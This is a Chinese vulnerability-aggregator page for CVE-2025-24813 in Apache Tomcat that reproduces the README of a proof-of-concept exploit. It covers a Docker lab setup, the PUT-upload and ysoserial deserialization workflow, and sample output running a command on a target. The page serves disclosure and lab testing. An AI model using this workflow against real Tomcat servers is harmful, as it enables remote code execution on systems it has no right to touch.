关联漏洞
标题:
Apache Tomcat 环境问题漏洞
(CVE-2025-24813)
描述:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 11.0.0-M1至11.0.2版本、10.1.0-M1至10.1.34版本和9.0.0.M1至9.0.98版本存在环境问题漏洞。攻击者利用该漏洞可以远程执行代码或泄露敏感信息。
描述
Proof of Concept (PoC) script for CVE-2025-24813, vulnerability in Apache Tomcat.
介绍
# CVE-2025-24813
Proof of Concept (PoC) script for CVE-2025-24813, vulnerability in Apache Tomcat.
The script has been modified based on the [related link](https://github.com/absholi7ly/POC-CVE-2025-24813) and tailored to my needs.
## Setup Vulnerable Tomcat Environment
Given environment based on the official Tomcat 9.0.90 image. It removes the server's read-only restriction and configures it to save session data to disk. Then, it automatically deploys application by copying ROOT.war file into Tomcat’s webapps/ directory.
```
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
```
## Workflow
1. A `check.txt` file with the Content-Range header is placed to verify if the server is accepting PUT requests.
2. If the server is writable, a payload for the desired command is generated using `ysoserial`.
3. The malicious session file is uploaded to the directory via a PUT request, linking it to the Session ID and FileName.
4. A GET request is sent with a custom `JSESSIONID`, triggering deserialization.
5. The temporary payload file deleted from the directory.
## Usage
```
$ python3 cve_2025_24813.py
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
--- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---
Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE):
Enter path to ysoserial.jar (default: ysoserial.jar):
Enter ysoserial gadget chain (default: CommonsCollections6):
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```
## PoC
https://github.com/user-attachments/assets/5a271e6f-1126-459a-852b-603f39a68616
文件快照
[4.0K] /data/pocs/2401607b85e30d6e52b6acec6a65bd8fc1c75ddd
├── [7.5K] cve_2025_24813.py
├── [ 420] Dockerfile
├── [ 11K] LICENSE
├── [3.7K] README.md
├── [ 12M] ROOT.war
└── [ 57M] ysoserial.jar
0 directories, 6 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。